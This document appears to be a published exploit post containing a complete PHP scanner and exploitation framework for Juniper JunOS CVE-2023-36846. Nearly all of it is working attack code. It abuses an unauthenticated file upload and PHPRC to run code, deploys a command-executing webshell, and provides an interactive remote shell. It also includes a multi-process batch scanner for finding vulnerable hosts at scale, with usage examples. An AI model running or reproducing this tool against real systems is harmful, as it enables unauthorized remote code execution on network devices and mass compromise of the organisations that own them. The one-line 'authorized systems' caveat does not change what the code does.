Juniper JunOS 23.4 Module Scanner / Exploitation Framework
=============================================================================================================================================
| # Title Juniper JunOS 23.4 Module Scanner / Exploitation Framework
=============================================================================================================================================
| # Title : Juniper Junos OS 23.4 Modular Scanner & Exploitation Framework |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://support.juniper.net/support/eol/software/junos/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213671/ & CVE-2023-36846
[+] Summary : This PHP script is a modular scanner and exploitation framework targeting Juniper JunOS CVE?2023?36846.
It is designed with a clear separation of responsibilities and supports single?target testing, interactive exploitation, and large?scale batch scanning.
[+] Key Components & Flow :
Utilities (Utils)
Helpers for screen clearing, URL normalization, and parsing target lists from files.
HTTP Client (HttpClient)
A reusable cURL wrapper with configurable timeouts, SSL verification, redirects, headers, and POST/GET handling.
[+] Vulnerability Scanner (JunOSVulnerabilityScanner) :
Detects whether the vulnerable endpoint (webauth_operation.php) is accessible.
Attempts controlled file uploads using multiple size heuristics.
Uploads a PHP test payload and an INI file to trigger execution via PHPRC.
Verifies vulnerability by checking for unique execution markers.
Performs cleanup after testing.
[+] Exploitation Module (JunOSExploiter) :
Deploys a functional webshell using the same upload/INI mechanism.
Executes arbitrary commands through the webshell and captures output.
Supports automated cleanup of deployed artifacts.
[+] PoC :
# Quick Scan
`php junos_exploit.php -u https://target.com -r -v`
# Interactive Shell
`php junos_exploit.php -u https://target.com -v`
# Bulk Scan
`php junos_exploit.php -f targets.txt -t 10 -o results.txt`
# Secure Scan (with SSL)
`php junos_exploit.php -f targets.txt -s -v`
<?php
class Utils {
public static function clearScreen() {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
system('cls');
} else {
system('clear');
}
}
public static function parseUrlsFile($filename) {
$urls = [];
if (!file_exists($filename)) {
throw new Exception("File not found: {$filename}");
}
$lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
$line = trim($line);
if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) {
$urls[] = $line;
}
}
return $urls;
}
public static function normalizeUrl($url) {
$url = rtrim($url, '/');
if (!preg_match('#^https?://#', $url)) {
$url = 'https://' . $url;
}
return $url;
}
}
class HttpClient {
private $verifySSL = false;
private $timeout = 15;
private $userAgent = 'Mozilla/5.0 (compatible; JunOS-Scanner/1.0)';
public function __construct($options = []) {
$this->verifySSL = $options['verify_ssl'] ?? false;
$this->timeout = $options['timeout'] ?? 15;
}
public function setVerifySSL($verify) {
$this->verifySSL = $verify;
}
public function request($url, $method = 'GET', $data = null, $headers = []) {
$ch = curl_init();
$curlOptions = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_USERAGENT => $this->userAgent,
CURLOPT_SSL_VERIFYPEER => $this->verifySSL,
CURLOPT_SSL_VERIFYHOST => $this->verifySSL ? 2 : 0,
];
$defaultHeaders = [];
if (!isset($headers['Content-Type']) && $method === 'POST') {
$defaultHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
}
$allHeaders = array_merge($defaultHeaders, $headers);
if (!empty($allHeaders)) {
$curlOptions[CURLOPT_HTTPHEADER] = $allHeaders;
}
if ($method === 'POST') {
$curlOptions[CURLOPT_POST] = true;
if ($data !== null) {
if (is_array($data)) {
$curlOptions[CURLOPT_POSTFIELDS] = http_build_query($data);
} else {
$curlOptions[CURLOPT_POSTFIELDS] = $data;
}
}
}
curl_setopt_array($ch, $curlOptions);
$response = curl_exec($ch);
$info = curl_getinfo($ch);
$error = curl_error($ch);
$errno = curl_errno($ch);
curl_close($ch);
return [
'success' => $errno === 0,
'response' => $response,
'http_code' => $info['http_code'] ?? 0,
'error' => $error,
'errno' => $errno,
'info' => $info,
];
}
}
class JunOSVulnerabilityScanner {
private $httpClient;
private $baseUrl;
private $verbose;
private $randomPrefix;
public function __construct($baseUrl, $verbose = false, $verifySSL = false) {
$this->baseUrl = Utils::normalizeUrl($baseUrl);
$this->verbose = $verbose;
$this->randomPrefix = 'wt_' . bin2hex(random_bytes(4));
$this->httpClient = new HttpClient(['verify_ssl' => $verifySSL]);
if ($verbose) {
echo "[DEBUG] Scanner initialized for: {$this->baseUrl}\n";
echo "[DEBUG] Random prefix: {$this->randomPrefix}\n";
}
}
public function testUploadEndpoint() {
$url = $this->baseUrl . "/webauth_operation.php";
$response = $this->httpClient->request($url);
if ($response['http_code'] === 404 || $response['http_code'] === 403) {
return false;
}
$testData = ['rs' => 'test'];
$response = $this->httpClient->request($url, 'POST', $testData);
return $response['http_code'] === 200;
}
private function attemptUpload($payload, $filename, $mimeType = 'text/html') {
$uploadUrl = $this->baseUrl . "/webauth_operation.php";
$sizeAttempts = [
strlen(base64_encode($payload)),
strlen($payload),
strlen(base64_encode($payload)) * 2,
];
foreach ($sizeAttempts as $csize) {
$b64Payload = base64_encode($payload);
$fileData = "data:{$mimeType};base64,{$b64Payload}";
$postData = [
'rs' => 'do_upload',
'rsargs[0]' => "[{\"fileData\":\"{$fileData}\",\"fileName\":\"{$filename}\",\"csize\":{$csize}}]"
];
if ($this->verbose) {
echo "[DEBUG] Attempting upload with csize={$csize}\n";
}
$response = $this->httpClient->request($uploadUrl, 'POST', $postData);
if (!$response['success'] || $response['http_code'] !== 200) {
continue;
}
$patterns = [
'/0:\s*\'([^\']+)\'\s*\},/',
'/"0":"([^"]+)"/',
'/\'0\':\'([^\']+)\'/',
'/filename["\']?\s*:\s*["\']?([^"\'\s,]+)/i',
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $response['response'], $matches)) {
$uploadedFile = $matches[1];
if (strpos($uploadedFile, '..') !== false || strpos($uploadedFile, '/') !== false) {
continue;
}
if ($this->verbose) {
echo "[DEBUG] Extracted filename: {$uploadedFile}\n";
}
return $uploadedFile;
}
}
if (strpos($response['response'], 'fileName') !== false) {
$jsonMatch = [];
if (preg_match('/\{"?0"?:\s*"([^"]+)"\}/', $response['response'], $jsonMatch)) {
return $jsonMatch[1];
}
}
}
return null;
}
public function testVulnerability() {
if ($this->verbose) {
echo "[*] Testing vulnerability for: {$this->baseUrl}\n";
}
if (!$this->testUploadEndpoint()) {
if ($this->verbose) {
echo "[-] Upload endpoint not accessible\n";
}
return false;
}
$uniqueToken = $this->randomPrefix . '_test_' . bin2hex(random_bytes(4));
$phpPayload = "<?php echo '[S]' . '{$uniqueToken}' . '[E]'; ?>";
$phpFile = $this->attemptUpload($phpPayload, $this->randomPrefix . '.php');
if ($phpFile === null) {
if ($this->verbose) {
echo "[-] PHP upload failed\n";
}
return false;
}
$iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
$iniFile = $this->attemptUpload($iniPayload, $this->randomPrefix . '.ini', 'text/plain');
if ($iniFile === null) {
$this->attemptCleanup($phpFile, null);
if ($this->verbose) {
echo "[-] INI upload failed\n";
}
return false;
}
$testUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}";
$response = $this->httpClient->request($testUrl);
$isVulnerable = false;
$cleanupFiles = ['php' => $phpFile, 'ini' => $iniFile];
if (strpos($response['response'], $uniqueToken) !== false) {
$isVulnerable = true;
} else {
$cmdTestUrl = $testUrl . "&0=echo+" . urlencode($uniqueToken);
$cmdResponse = $this->httpClient->request($cmdTestUrl);
if (strpos($cmdResponse['response'], $uniqueToken) !== false) {
$isVulnerable = true;
} else {
if (preg_match('/\[S\](.*?)\[E\]/s', $cmdResponse['response'], $matches)) {
if (strpos($matches[1], $uniqueToken) !== false) {
$isVulnerable = true;
}
}
}
}
$this->attemptCleanup($phpFile, $iniFile);
return $isVulnerable;
}
private function attemptCleanup($phpFile, $iniFile) {
if ($phpFile) {
$cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}&delete=1";
$this->httpClient->request($cleanupUrl);
}
if ($iniFile) {
$emptyIni = '';
$this->attemptUpload($emptyIni, $iniFile, 'text/plain');
}
}
public function getExploitInstance() {
return new JunOSExploiter($this->baseUrl, $this->verbose, $this->httpClient, $this->randomPrefix);
}
}
class JunOSExploiter {
private $baseUrl;
private $httpClient;
private $verbose;
private $randomPrefix;
private $uploadedFiles = [];
public function __construct($baseUrl, $verbose, $httpClient, $randomPrefix) {
$this->baseUrl = $baseUrl;
$this->httpClient = $httpClient;
$this->verbose = $verbose;
$this->randomPrefix = $randomPrefix;
}
public function deployWebshell() {
$phpFilename = $this->randomPrefix . '_shell.php';
$iniFilename = $this->randomPrefix . '_config.ini';
$phpPayload = <<<'PHP'
<?php
if(isset($_GET['cleanup'])) {
@unlink(__FILE__);
if(isset($_GET['ini'])) {
$iniFile = '/var/tmp/' . basename($_GET['ini']);
@unlink($iniFile);
}
exit;
}
if(isset($_GET['cmd'])) {
echo '[S]';
system($_GET['cmd']);
echo '[E]';
}
?>
PHP;
$scanner = new JunOSVulnerabilityScanner($this->baseUrl, $this->verbose);
$phpFile = $scanner->attemptUpload($phpPayload, $phpFilename);
if (!$phpFile) {
throw new Exception("Failed to upload PHP webshell");
}
$iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
$iniFile = $scanner->attemptUpload($iniPayload, $iniFilename, 'text/plain');
if (!$iniFile) {
throw new Exception("Failed to upload INI configuration");
}
$this->uploadedFiles = [
'php' => $phpFile,
'ini' => $iniFile,
'shell_url' => $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}"
];
$testUrl = $this->uploadedFiles['shell_url'] . "&cmd=whoami";
$testResponse = $this->httpClient->request($testUrl);
if (!preg_match('/\[S\].*\[E\]/s', $testResponse['response'])) {
$this->cleanup();
throw new Exception("Webshell deployed but not functional");
}
return $this->uploadedFiles;
}
public function executeCommand($command) {
if (empty($this->uploadedFiles)) {
throw new Exception("Webshell not deployed");
}
$url = $this->uploadedFiles['shell_url'] . "&cmd=" . urlencode($command);
$response = $this->httpClient->request($url);
if (preg_match('/\[S\](.*?)\[E\]/s', $response['response'], $matches)) {
return trim($matches[1]);
}
return $response['response'];
}
public function cleanup() {
if (empty($this->uploadedFiles)) {
return false;
}
$cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$this->uploadedFiles['ini']}&cleanup=1&ini={$this->uploadedFiles['ini']}";
$this->httpClient->request($cleanupUrl);
$this->uploadedFiles = [];
return true;
}
public function __destruct() {
$this->cleanup();
}
}
class InteractiveShell {
private $exploiter;
private $isWindows;
public function __construct($exploiter) {
$this->exploiter = $exploiter;
$this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}
public function run() {
echo "\n" . str_repeat("=", 60) . "\n";
echo "JunOS Interactive Shell\n";
echo "Type 'exit' or 'quit' to leave (auto-cleanup enabled)\n";
echo "Type 'clear' to clear screen\n";
echo "Type 'help' for commands\n";
echo str_repeat("=", 60) . "\n\n";
$stdin = fopen('php://stdin', 'r');
while (true) {
echo "junos> ";
$command = trim(fgets($stdin));
if (empty($command)) {
continue;
}
$cmdLower = strtolower($command);
if (in_array($cmdLower, ['exit', 'quit'])) {
echo "[*] Exiting and cleaning up...\n";
break;
} elseif ($cmdLower === 'clear') {
Utils::clearScreen();
continue;
} elseif ($cmdLower === 'help') {
$this->showHelp();
continue;
} elseif ($cmdLower === 'pwd') {
$command = 'pwd';
}
try {
$result = $this->exploiter->executeCommand($command);
echo "[+] Result:\n" . $result . "\n";
} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
}
}
fclose($stdin);
}
private function showHelp() {
echo "\nAvailable commands:\n";
echo " exit, quit - Exit shell and cleanup\n";
echo " clear - Clear screen\n";
echo " help - Show this help\n";
echo " whoami - Check current user\n";
echo " pwd - Print working directory\n";
echo " id - Show user/group IDs\n";
echo " ls [dir] - List directory\n";
echo " cat <file> - View file\n";
echo " uname -a - System info\n";
echo "\n";
}
}
class BatchScanner {
private $threads;
private $outputFile;
private $verbose;
private $verifySSL;
public function __construct($threads = 5, $outputFile = null, $verbose = false, $verifySSL = false) {
$this->threads = max(1, min($threads, 50));
$this->outputFile = $outputFile;
$this->verbose = $verbose;
$this->verifySSL = $verifySSL;
}
public function scanUrls($urls) {
$total = count($urls);
$vulnerable = 0;
$results = [];
echo "[*] Starting batch scan with {$this->threads} threads\n";
echo "[*] Targets: {$total}\n";
echo "[*] SSL Verification: " . ($this->verifySSL ? "ON" : "OFF") . "\n";
echo str_repeat("-", 60) . "\n";
$chunks = array_chunk($urls, ceil($total / $this->threads));
$workers = [];
foreach ($chunks as $chunkIndex => $chunk) {
$pid = pcntl_fork();
if ($pid == -1) {
die("Could not fork");
} elseif ($pid) {
// Parent process
$workers[] = $pid;
} else {
// Child process
$childResults = [];
foreach ($chunk as $url) {
try {
$scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
$isVuln = $scanner->testVulnerability();
if ($isVuln) {
$childResults[] = $url;
echo "[+] {$url} - VULNERABLE (PID: " . getmypid() . ")\n";
} elseif ($this->verbose) {
echo "[-] {$url} - NOT vulnerable (PID: " . getmypid() . ")\n";
}
} catch (Exception $e) {
if ($this->verbose) {
echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
}
}
}
$resultFile = sys_get_temp_dir() . '/junos_scan_' . getmypid() . '.tmp';
file_put_contents($resultFile, implode("\n", $childResults));
exit(0);
}
}
foreach ($workers as $pid) {
pcntl_waitpid($pid, $status);
$resultFile = sys_get_temp_dir() . '/junos_scan_' . $pid . '.tmp';
if (file_exists($resultFile)) {
$childUrls = file($resultFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$results = array_merge($results, $childUrls);
unlink($resultFile);
}
}
if (empty($workers)) {
// ?????? ???????
foreach ($urls as $url) {
try {
$scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
$isVuln = $scanner->testVulnerability();
if ($isVuln) {
$results[] = $url;
echo "[+] {$url} - VULNERABLE\n";
} elseif ($this->verbose) {
echo "[-] {$url} - NOT vulnerable\n";
}
} catch (Exception $e) {
if ($this->verbose) {
echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
}
}
}
}
if ($this->outputFile && !empty($results)) {
file_put_contents($this->outputFile, implode("\n", $results) . "\n", LOCK_EX);
echo "[*] Results saved to: {$this->outputFile}\n";
}
echo str_repeat("-", 60) . "\n";
echo "[*] Scan completed. Vulnerable: " . count($results) . "/{$total}\n";
return $results;
}
}
function main() {
$options = getopt("t:o:f:u:vsrh", [
"threads:", "output:", "file:", "url:",
"verbose", "ssl", "report", "help"
]);
if (isset($options['h']) || isset($options['help'])) {
showHelp();
exit(0);
}
$threads = isset($options['t']) ? (int)$options['t'] :
(isset($options['threads']) ? (int)$options['threads'] : 5);
$output = isset($options['o']) ? $options['o'] :
(isset($options['output']) ? $options['output'] : null);
$file = isset($options['f']) ? $options['f'] :
(isset($options['file']) ? $options['file'] : null);
$url = isset($options['u']) ? $options['u'] :
(isset($options['url']) ? $options['url'] : null);
$verbose = isset($options['v']) || isset($options['verbose']);
$verifySSL = isset($options['s']) || isset($options['ssl']);
$reportOnly = isset($options['r']) || isset($options['report']);
if ($url && $reportOnly) {
echo "[*] Quick vulnerability check for: {$url}\n";
$scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
$isVuln = $scanner->testVulnerability();
if ($isVuln) {
echo "\n[?] TARGET IS VULNERABLE TO CVE-2023-36846\n";
exit(0);
} else {
echo "\n[?] Target is NOT vulnerable\n";
exit(1);
}
}
if ($url && !$reportOnly) {
echo "[*] Starting interactive mode for: {$url}\n";
try {
$scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
if (!$scanner->testVulnerability()) {
echo "[!] Target does not appear to be vulnerable\n";
echo "[?] Continue anyway? (y/N): ";
$confirm = trim(fgets(STDIN));
if (strtolower($confirm) !== 'y') {
exit(1);
}
}
$exploiter = $scanner->getExploitInstance();
$files = $exploiter->deployWebshell();
echo "[+] Webshell deployed successfully\n";
echo "[+] PHP file: {$files['php']}\n";
echo "[+] INI file: {$files['ini']}\n";
echo "[+] Access URL: {$files['shell_url']}\n\n";
$shell = new InteractiveShell($exploiter);
$shell->run();
} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
exit(1);
}
exit(0);
}
if ($file) {
try {
$urls = Utils::parseUrlsFile($file);
if (empty($urls)) {
echo "[!] No valid URLs found in file\n";
exit(1);
}
$scanner = new BatchScanner($threads, $output, $verbose, $verifySSL);
$results = $scanner->scanUrls($urls);
if (!empty($results)) {
echo "\n[*] Vulnerable hosts found:\n";
foreach ($results as $vulnUrl) {
echo " - {$vulnUrl}\n";
}
}
} catch (Exception $e) {
echo "[!] Error: " . $e->getMessage() . "\n";
exit(1);
}
exit(0);
}
echo "[!] Invalid arguments\n";
showHelp();
exit(1);
}
function showHelp() {
echo <<<HELP
JunOS CVE-2023-36846 Scanner & Exploit Framework by indoushka
=============================================================
Usage modes:
php junos_exploit.php -u URL [OPTIONS] # Interactive shell
php junos_exploit.php -u URL -r # Quick vulnerability check
php junos_exploit.php -f FILE [OPTIONS] # Batch scan
Options:
-u, --url URL Target URL (https://target.com)
-f, --file FILE File containing URLs (one per line)
-t, --threads N Threads for batch scan (1-50, default: 5)
-o, --output FILE Save vulnerable hosts to file
-v, --verbose Enable verbose output
-s, --ssl Enable SSL certificate verification
-r, --report Report only mode (no exploitation)
-h, --help Show this help
Examples:
# Quick check
php junos_exploit.php -u https://192.168.1.1 -r -v
# Interactive shell
php junos_exploit.php -u https://vuln-router.local -v
# Batch scan
php junos_exploit.php -f targets.txt -t 10 -o vuln.txt -v
# Batch scan with SSL verification
php junos_exploit.php -f targets.txt -s -o secure_scan.txt
Security Notes:
? Use only on authorized systems
? SSL verification is disabled by default for testing
? Tool performs auto-cleanup after exploitation
? Random file names prevent collisions
HELP;
}
if (php_sapi_name() === 'cli') {
$requiredExts = ['curl'];
$missingExts = [];
foreach ($requiredExts as $ext) {
if (!extension_loaded($ext)) {
$missingExts[] = $ext;
}
}
if (!empty($missingExts)) {
echo "[!] Missing PHP extensions: " . implode(', ', $missingExts) . "\n";
echo "[!] Install with: sudo apt-get install php-curl\n";
exit(1);
}
declare(ticks = 1);
pcntl_signal(SIGINT, function() {
echo "\n[*] Interrupted by user. Exiting...\n";
exit(0);
});
try {
main();
} catch (Exception $e) {
echo "[!] Fatal error: " . $e->getMessage() . "\n";
exit(1);
}
} else {
header('HTTP/1.1 403 Forbidden');
echo "This tool must be run from command line\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================